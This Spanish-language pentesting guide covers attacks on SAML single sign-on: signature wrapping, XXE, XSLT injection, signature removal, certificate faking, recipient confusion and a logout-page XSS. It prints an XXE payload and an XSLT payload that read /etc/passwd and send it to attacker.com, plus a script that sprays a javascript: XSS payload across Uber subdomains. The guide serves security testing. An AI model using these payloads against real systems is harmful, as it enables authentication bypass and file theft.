SAML Attacks

SAML Attacks

Información Básica

SAML Basics

Herramienta

SAMLExtractor: Una herramienta que puede tomar una URL o lista de URL y devuelve la URL de consumo SAML.

Ronda de XML

En XML, la parte firmada del XML se guarda en memoria, luego se realiza alguna codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero basado en ese escenario, los datos que se están verificando y los datos originales podrían no ser los mismos.

Por ejemplo, verifica el siguiente código:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Ejecutar el programa contra REXML 3.2.4 o versiones anteriores resultaría en la siguiente salida en su lugar:

First child in original doc: Y
First child after round-trip: Z

Así es como REXML vio el documento XML original del programa anterior:

Y así es como lo vio después de una ronda de análisis y serialización:

Para más información sobre la vulnerabilidad y cómo abusar de ella:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

Ataques de Envoltura de Firma XML

En ataques de Envoltura de Firma XML (XSW), los adversarios explotan una vulnerabilidad que surge cuando los documentos XML se procesan a través de dos fases distintas: validación de firma y invocación de función. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante inyecta elementos falsificados que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la lógica de la aplicación y aquellos verificados por el módulo de verificación de firma. Como resultado, mientras que la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los elementos fraudulentos. En consecuencia, el atacante elude efectivamente la protección de integridad y la autenticación de origen de la Firma XML, lo que permite la inyección de contenido arbitrario sin detección.

Los siguientes ataques se basan en esta publicación de blog y este documento. Así que revisa esos para más detalles.

XSW #1

• Estrategia: Se agrega un nuevo elemento raíz que contiene la firma.
• Implicación: El validador puede confundirse entre el legítimo "Response -> Assertion -> Subject" y el "malvado nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.

XSW #2

• Diferencia de XSW #1: Utiliza una firma separada en lugar de una firma envolvente.
• Implicación: La estructura "malvada", similar a XSW #1, tiene como objetivo engañar a la lógica empresarial después de la verificación de integridad.

XSW #3

• Estrategia: Se crea una Assertion malvada al mismo nivel jerárquico que la assertion original.
• Implicación: Tiene la intención de confundir a la lógica empresarial para que use los datos maliciosos.

XSW #4

• Diferencia de XSW #3: La Assertion original se convierte en un hijo de la Assertion duplicada (malvada).
• Implicación: Similar a XSW #3 pero altera la estructura XML de manera más agresiva.

XSW #5

• Aspecto Único: Ni la Firma ni la Assertion original se adhieren a configuraciones estándar (envolvente/envolvente/separada).
• Implicación: La Assertion copiada envuelve la Firma, modificando la estructura del documento esperada.

XSW #6

• Estrategia: Inserción en una ubicación similar a XSW #4 y #5, pero con un giro.
• Implicación: La Assertion copiada envuelve la Firma, que luego envuelve la Assertion original, creando una estructura engañosa anidada.

XSW #7

• Estrategia: Se inserta un elemento Extensions con la Assertion copiada como hijo.
• Implicación: Esto explota el esquema menos restrictivo del elemento Extensions para eludir las contramedidas de validación de esquema, especialmente en bibliotecas como OpenSAML.

XSW #8

• Diferencia de XSW #7: Utiliza otro elemento XML menos restrictivo para una variante del ataque.
• Implicación: La Assertion original se convierte en un hijo del elemento menos restrictivo, invirtiendo la estructura utilizada en XSW #7.

Herramienta

Puedes usar la extensión de Burp SAML Raider para analizar la solicitud, aplicar cualquier ataque XSW que elijas y lanzarlo.

XXE

Si no sabes qué tipo de ataques son XXE, por favor lee la siguiente página:

XXE - XEE - XML External Entity

Las Respuestas SAML son documentos XML desinflados y codificados en base64 y pueden ser susceptibles a ataques de Entidad Externa XML (XXE). Al manipular la estructura XML de la Respuesta SAML, los atacantes pueden intentar explotar vulnerabilidades XXE. Aquí se muestra cómo se puede visualizar tal ataque:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Herramientas

También puedes usar la extensión de Burp SAML Raider para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE y vulnerabilidades SAML.

Consulta también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT a través de SAML

Para más información sobre XSLT, ve a:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Las Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT) se pueden usar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial notar que las transformaciones XSLT se realizan antes de la verificación de la firma digital. Esto significa que un ataque puede tener éxito incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder.

Aquí puedes encontrar un POC para verificar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar cargas útiles.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Herramienta

También puedes usar la extensión de Burp SAML Raider para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades de XSLT.

Consulta también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusión de Firma XML

La Exclusión de Firma XML observa el comportamiento de las implementaciones SAML cuando el elemento de Firma no está presente. Si este elemento falta, la validación de la firma puede no ocurrir, haciéndolo vulnerable. Es posible probar esto alterando los contenidos que normalmente son verificados por la firma.

Herramienta

También puedes usar la extensión de Burp SAML Raider. Intercepta la Respuesta SAML y haz clic en Remove Signatures. Al hacerlo, todos los elementos de Firma son eliminados.

Con las firmas eliminadas, permite que la solicitud continúe hacia el objetivo. Si la Firma no es requerida por el Servicio

Falsificación de Certificado

Falsificación de Certificado

La Falsificación de Certificado es una técnica para probar si un Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML está firmado por un Proveedor de Identidad (IdP) de confianza. Implica usar un *certificado autofirmado para firmar la Respuesta o Afirmación SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP.

Cómo Realizar la Falsificación de Certificado

Los siguientes pasos describen el proceso utilizando la extensión de Burp SAML Raider:

1. Intercepta la Respuesta SAML.
2. Si la respuesta contiene una firma, envía el certificado a SAML Raider Certs usando el botón Send Certificate to SAML Raider Certs.
3. En la pestaña de Certificados de SAML Raider, selecciona el certificado importado y haz clic en Save and Self-Sign para crear un clon autofirmado del certificado original.
4. Regresa a la solicitud interceptada en el Proxy de Burp. Selecciona el nuevo certificado autofirmado del menú desplegable de Firma XML.
5. Elimina cualquier firma existente con el botón Remove Signatures.
6. Firma el mensaje o la afirmación con el nuevo certificado usando el botón (Re-)Sign Message o (Re-)Sign Assertion, según corresponda.
7. Reenvía el mensaje firmado. La autenticación exitosa indica que el SP acepta mensajes firmados por tu certificado autofirmado, revelando posibles vulnerabilidades en el proceso de validación de los mensajes SAML.

Confusión de Destinatario de Token / Confusión de Objetivo de Proveedor de Servicios

La Confusión de Destinatario de Token y la Confusión de Objetivo de Proveedor de Servicios implican verificar si el Proveedor de Servicios valida correctamente el destinatario previsto de una respuesta. En esencia, un Proveedor de Servicios debería rechazar una respuesta de autenticación si estaba destinada a un proveedor diferente. El elemento crítico aquí es el campo Recipient, que se encuentra dentro del elemento SubjectConfirmationData de una Respuesta SAML. Este campo especifica una URL que indica dónde debe enviarse la Afirmación. Si el destinatario real no coincide con el Proveedor de Servicios previsto, la Afirmación debe considerarse inválida.

Cómo Funciona

Para que un ataque de Confusión de Destinatario de Token SAML (SAML-TRC) sea factible, deben cumplirse ciertas condiciones. En primer lugar, debe haber una cuenta válida en un Proveedor de Servicios (denominado SP-Legit). En segundo lugar, el Proveedor de Servicios objetivo (SP-Target) debe aceptar tokens del mismo Proveedor de Identidad que sirve a SP-Legit.

El proceso de ataque es sencillo bajo estas condiciones. Se inicia una sesión auténtica con SP-Legit a través del Proveedor de Identidad compartido. La Respuesta SAML del Proveedor de Identidad a SP-Legit es interceptada. Esta Respuesta SAML interceptada, originalmente destinada a SP-Legit, se redirige a SP-Target. El éxito en este ataque se mide por la aceptación de la Afirmación por parte de SP-Target, otorgando acceso a recursos bajo el mismo nombre de cuenta utilizado para SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS en la funcionalidad de cierre de sesión

La investigación original se puede acceder a través de this link.

Durante el proceso de fuerza bruta de directorios, se descubrió una página de cierre de sesión en:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Al acceder a este enlace, se produjo una redirección a:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Esto reveló que el parámetro base acepta una URL. Considerando esto, surgió la idea de sustituir la URL por javascript:alert(123); en un intento de iniciar un ataque XSS (Cross-Site Scripting).

Explotación Masiva

De esta investigación:

La herramienta SAMLExtractor se utilizó para analizar subdominios de uberinternal.com para dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para apuntar a la página oidauth/prompt. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos donde la entrada se refleja, el script marca la página como vulnerable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referencias

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/